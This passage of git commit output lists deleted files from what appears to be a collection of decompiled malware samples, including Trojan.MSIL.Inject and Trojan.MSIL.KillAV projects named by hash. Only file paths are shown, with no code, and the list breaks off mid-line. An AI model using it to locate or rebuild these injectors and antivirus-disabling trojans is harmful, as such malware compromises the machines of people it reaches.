MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/MySettings.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/MySettingsProperty.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/Resources/Resources.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/Resources.resx delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/Trojan.MSIL.Inject.bq.csproj delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/Trojan.MSIL.Inject.bq.sln delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/x86.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/AssemblyInfo.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/Module1.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/MyApplication.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/MyComputer.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/MyProject.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/MySettings.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/MySettingsProperty.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/Resources/Resources.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/Resources.resx delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/Trojan.MSIL.Inject.bq.csproj delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/Trojan.MSIL.Inject.bq.sln delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/x86.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/AssemblyInfo.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/My/MyApplication.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/My/MyComputer.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/My/MyProject.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/Trojan.MSIL.Inject.qn.csproj delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/Trojan.MSIL.Inject.qn.sln delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/afwwfafwafawfwa.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/agawhhwahwwhwh.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/aheehzhdzdhzez.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/dkawod.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/gawhwahawahw.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/jdawdiawhiwhfifaw.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/justsomeshit.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/sakiajfwefjwa.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/AssemblyInfo.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/MyApplication.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/MyComputer.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/MyProject.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/Trojan.MSIL.Inject.sh.csproj delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/Trojan.MSIL.Inject.sh.sln delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/YKlIHiQhUYxYjdv.cs delete mode 100644 MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/yvHKZuvFPKnDWpJ.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.a-2ab55f7fde92f59cdb807275edacdbe85d467f60755f158533c5f0fe7f90ddc0/AssemblyInfo.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.a-2ab55f7fde92f59cdb807275edacdbe85d467f60755f158533c5f0fe7f90ddc0/Form1.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.a-2ab55f7fde92f59cdb807275edacdbe85d467f60755f158533c5f0fe7f90ddc0/Form1.resx delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.a-2ab55f7fde92f59cdb807275edacdbe85d467f60755f158533c5f0fe7f90ddc0/Trojan.MSIL.KillAV.a.csproj delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.a-2ab55f7fde92f59cdb807275edacdbe85d467f60755f158533c5f0fe7f90ddc0/Trojan.MSIL.KillAV.a.sln delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/AssemblyInfo.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AMMediaType.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AMTunerEventType.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AMTunerModeType.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AMTunerSignalStrength.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AMTunerSubChannel.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AnalogVideoStandard.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/AudioStreamConfigCaps.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/BitmapInfoHeader.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/CLSCTX.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Clsid.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Device/DsDev.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Device/DsDevice.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Device/ICreateDevEnum.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Device/IPropertyBag.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsBugWO.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsCAUUID.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsEvCode.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsHlp.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsOptInt64.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsOptIntPtr.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsPOINT.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsRECT.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsROT.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsUtils.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdAudioAppMode.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdAudioAttr.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdAudioCaps.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdAudioFormat.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdAudioLangExt.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdCharSet.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdCmdFlags.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdDecoderCaps.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdDiscSide.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdDomain.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdGraphFlags.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdMenuAttr.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdMenuID.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdOptionFlag.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdPlayLocation.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdRelButton.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdRenderStatus.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdStreamFlags.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdSubPicAttr.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdSubPicCoding.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdSubPicLangExt.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdSubPicType.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdTimeCode.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdTitleAppMode.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdTitleAttr.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdVideoAttr.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdVideoCompress.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/IDvdCmd.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/IDvdControl2.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/IDvdGraphBuilder.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/IDvdInfo2.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/IDvdState.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/OptIDvdCmd.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/FilterCategory.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/FilterInfo.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/FindDirection.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/FormatType.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMAudioInputMixer.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMCollection.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMCopyCaptureFileProgress.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMCrossbar.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMStreamConfig.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMTVTuner.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMTuner.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMTunerNotification.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMVfwCompressDialogs.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IBaseFilter.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IBasicAudio.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IBasicVideo2.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/ICaptureGraphBuilder2.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IEnumFilters.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IEnumPins.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IFileSinkFilter.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IFileSinkFilter2.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IFilterGraph.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IGraphBuilder.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaControl.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaEvent.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaEventEx.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaFilter.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaPosition.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaSample.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaSeeking.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IPersist.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IPersistStream.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IPin.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IReferenceClock.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/ISampleGrabber.cs delete mode 100644 